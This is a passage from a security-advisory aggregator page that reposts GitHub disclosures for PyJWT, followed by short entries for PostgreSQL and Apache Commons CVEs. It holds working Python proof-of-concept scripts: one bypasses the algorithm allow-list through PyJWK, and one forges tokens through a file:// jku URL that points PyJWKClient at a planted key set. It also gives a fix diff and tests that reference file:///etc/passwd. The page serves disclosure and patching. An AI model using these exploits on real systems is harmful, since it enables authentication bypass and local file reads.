python signingkey = jwksclient.getsigningkeyfromjwt(token) jwt.decode( token, signingkey, audience="https://expenses-api", options={"verifyexp": False}, algorithms=["RS256"], )

PyJWKClient.getsigningkeyfromjwt() returns a PyJWK, so this documented path is affected.

This is not a "no-key forgery" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:

- self-service OAuth client assertions - multi-tenant key registration - federation / BYO-JWKS trust models - any system where external parties sign JWTs with their own registered keys

In those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept PS256, an attacker controlling an accepted RSA JWK can sign with RS256, set alg=PS256 in the JWT header, and still be accepted through the PyJWK path.

The same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to PyJWK verification rather than expected JWT behavior.

This behavior was introduced by commit ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1 (Decode with PyJWK (#886)), which is present in tagged releases 2.9.0, 2.10.0, 2.10.1, 2.11.0, 2.12.0, and 2.12.1.

PoC

Tested locally against PyJWT 2.12.1 on Python 3.12.10 with cryptography 45.0.6.

Install dependencies:

bash python -m pip install pyjwt==2.12.1 cryptography

Run the following script:

python import json import jwt from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat from jwt.apijwk import PyJWK from jwt.algorithms import RSAAlgorithm from jwt.utils import base64urlencode

Generate an RSA keypair controlled by the attacker. priv = rsa.generateprivatekey(publicexponent=65537, keysize=2048) pub = priv.publickey() pubpem = pub.publicbytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)

Build a PyJWK from the public key. With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default. jwk = PyJWK.fromjson(RSAAlgorithm.tojwk(pub))

Create a token whose protected header claims RS512. header = {"typ": "JWT", "alg": "RS512"} payload = {"sub": "alice"}

headerb64 = base64urlencode( json.dumps(header, separators=(",", ":"), sortkeys=True).encode() ) payloadb64 = base64urlencode( json.dumps(payload, separators=(",", ":")).encode() ) signinginput = b".".join([headerb64, payloadb64])

Sign the RS512-labelled token with RS256 instead. sig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signinginput, priv) token = b".".join([headerb64, payloadb64, base64urlencode(sig)]).decode()

print("token:", token) print("PyJWK path:") print(jwt.decode(token, jwk, algorithms=["RS512"]))

print("PEM path:") try: print(jwt.decode(token, pubpem, algorithms=["RS512"])) except Exception as e: print(f"{type(e).name}: {e}")

Observed output:

text PyJWK path: {'sub': 'alice'} PEM path: InvalidSignatureError: Signature verification failed

The token is accepted when the verification key is a PyJWK, even though:

- the caller restricted allowed algorithms to ["RS512"] - the signature was actually generated with RS256

The same token is rejected when verified through the normal PEM/public-key path.

Impact

This is an algorithm allow-list bypass affecting jwt.decode() and jwt.decodecomplete() when the verification key is a PyJWK, including keys returned by PyJWKClient.

The impact depends on the deployment model:

- If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited. - If attackers can legitimately control a registered key, this is exploitable.

Impacted deployments include:

- JWT client assertion flows where each client uses its own key - multitenant systems where tenants register JWK/JWKS material - federation-style trust models - any application that relies on algorithms=[...] to enforce a crypto policy against externally controlled signing keys

What an attacker can do:

- bypass a server-side requirement such as "only PS256" or "only RS512" - continue using a deprecated or blocked algorithm after the server thought it had disabled it - authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy

What this issue does not do by itself:

- it does not let an attacker forge tokens without access to a valid signing key or signing oracle - it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw

1 / 2
Source: GitHub
First published (updated )
Severity
4.2
SSRF
AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

[!NOTE] The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.

Summary

PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch.

If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:

1. Cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem) — the file's contents are passed to json.load. 2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface). 3. Forge tokens that PyJWT verifies as valid — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and jwt.decode() accepts.

Affected versions

Tested and reproducible on PyJWT 2.11.0 and 2.12.1. Likely all versions back to PyJWKClient introduction.

Reproducer (full attack chain — verified empirically)

python import jwt as pyjwt from jwt import PyJWKClient from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization import json, base64, time

Attacker generates keypair (no relation to real IdP) key = rsa.generateprivatekey(publicexponent=65537, keysize=2048) pubn = key.publickey().publicnumbers().n

def b64u(n): bl = (n.bitlength() + 7) // 8 return base64.urlsafeb64encode(n.tobytes(bl, 'big')).rstrip(b'=').decode()

Attacker writes JWK Set containing their public key to /tmp jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256", "n":b64u(pubn),"e":"AQAB"}]} with open("/tmp/attacker.json","w") as f: json.dump(jwks, f)

Attacker mints token signed with their private key, jku=file:// privpem = key.privatebytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()) now = int(time.time()) token = pyjwt.encode( {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600}, privpem, algorithm="RS256", headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})

Vulnerable application pattern: caller derives jku from token header and passes to PyJWKClient without scheme validation header = pyjwt.getunverifiedheader(token) client = PyJWKClient(header["jku"]) # <-- accepts file:// silently keyobj = client.getsigningkeyfromjwt(token) decoded = pyjwt.decode(token, keyobj.key, algorithms=["RS256"], audience="target-app") print("Token verified:", decoded) Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}

Cross-library evidence — PyJWT is the outlier

The same composition pattern is structurally safe in 4 other mainstream JWT libraries:

| Library | Behavior on jku=file://... | Mechanism | |---|---|---| | PyJWT 2.12.1 (Python) | Reads file from disk, parses, uses for signature verification | urllib default OpenerDirector includes FileHandler | | panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG fetch() rejects non-http(s) at fetch-spec layer | | golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | http.DefaultTransport only registers http/https | | Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | HttpDocumentRetriever defaults RequireHttps=true | | Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |

PyJWT is the only library of these 5 where the default behavior allows file:// to reach the fetch layer.

Recommended fix

Add allowedschemes: tuple[str, ...] = ("https", "http") kwarg to PyJWKClient.init. Pre-validate URL scheme before invoking urllib.request.urlopen. URLs with disallowed schemes raise PyJWKClientError before any fetch is attempted.

Diff sketch against jwt/jwksclient.py

python def init( self, uri: str, cachekeys: bool = False, maxcachedkeys: int = 16, cachejwkset: bool = True, lifespan: float = 300, headers: dict[str, Any] | None = None, timeout: float = 30, sslcontext: SSLContext | None = None, allowedschemes: tuple[str, ...] = ("https", "http"), # NEW ): """... :param allowedschemes: URL schemes the JWKS endpoint is permitted to use. Default ("https", "http"). Pass ("https",) for HTTPS-only operation. URLs with disallowed schemes raise PyJWKClientError before any fetch is attempted. """ # ... existing init code ... self.allowedschemes = allowedschemes self.validateurischeme()

def validateurischeme(self) -> None: """Reject the configured URI early if its scheme isn't allowed.""" from urllib.parse import urlparse parsed = urlparse(self.uri) scheme = parsed.scheme.lower() if not scheme: raise PyJWKClientError( f"PyJWKClient URI '{self.uri}' has no scheme; expected one of " f"{self.allowedschemes!r}") if scheme not in self.allowedschemes: raise PyJWKClientError( f"PyJWKClient URI scheme '{scheme}' is not in allowedschemes " f"{self.allowedschemes!r}; refusing to fetch from this URL")

Tests to add

python def testpyjwkclientrejectsfilescheme(): with pytest.raises(PyJWKClientError, match="not in allowedschemes"): PyJWKClient("file:///etc/passwd")

def testpyjwkclientrejectsftpscheme(): with pytest.raises(PyJWKClientError): PyJWKClient("ftp://example.org/keys.json")

def testpyjwkclientrejectsdatascheme(): with pytest.raises(PyJWKClientError): PyJWKClient('data:application/json,{"keys":[]}')

def testpyjwkclientcallercanlocktohttpsonly(): with pytest.raises(PyJWKClientError): PyJWKClient("http://internal.test/jwks.json", allowedschemes=("https",))

Compatibility

- Default allowedschemes=("https", "http") preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints - Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare) - No changes to urllib fetch logic itself — the fix is a pre-validation gate

Class precedent

This is the same class as CVE-2024-21643 (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.

Prior art (verified 2026-05-06)

Confirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):

- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling - No existing GitHub issue or PR addressing scheme allowlisting - No silent fix in CHANGELOG through 2.12.1 - 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) — none cover this class

Credit

Reported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).

Reproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.

1 / 3
Source: GitHub
First published (updated )
Severity
6.9
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Last updated 21 May 2026

1 / 2
Source: Ubuntu
First published (updated )
Severity
6.9
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Last updated 21 May 2026

1 / 2
Source: Ubuntu
First published (updated )
Severity
6.6
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Last updated 2 June 2026

1 / 3
Source: Ubuntu
First published (updated )
Severity
6.6
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber

Another 'ghost domain names' attack variant

1 / 3
Source: Microsoft
First published (updated )
Severity
4.3
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Externally-controlled format string in PostgreSQL timeofday() function allows an attacker to retrieve portions of server memory, via crafted timezone zones. Versions before PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 are affected.

1 / 3
Source: MITRE
First published (updated )
Severity
5.4
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Missing authorization in PostgreSQL CREATE TYPE allows an object creator to hijack other queries that use searchpath to find user-defined types, including extension-defined types. That is to say, the victim will execute arbitrary SQL functions of the attacker's choice. Versions before PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 are affected.

1 / 2
Source: NVD
First published (updated )
Severity
5.3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Uncontrolled Recursion vulnerability in Apache Commons.

When processing an untrusted configuration file, Commons Configuration will throw a StackOverflowError for YAML input with cycles. This issue affects Apache Commons: from 2.2 before 2.15.0.

Users are recommended to upgrade to version 2.15.0, which fixes the issue.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203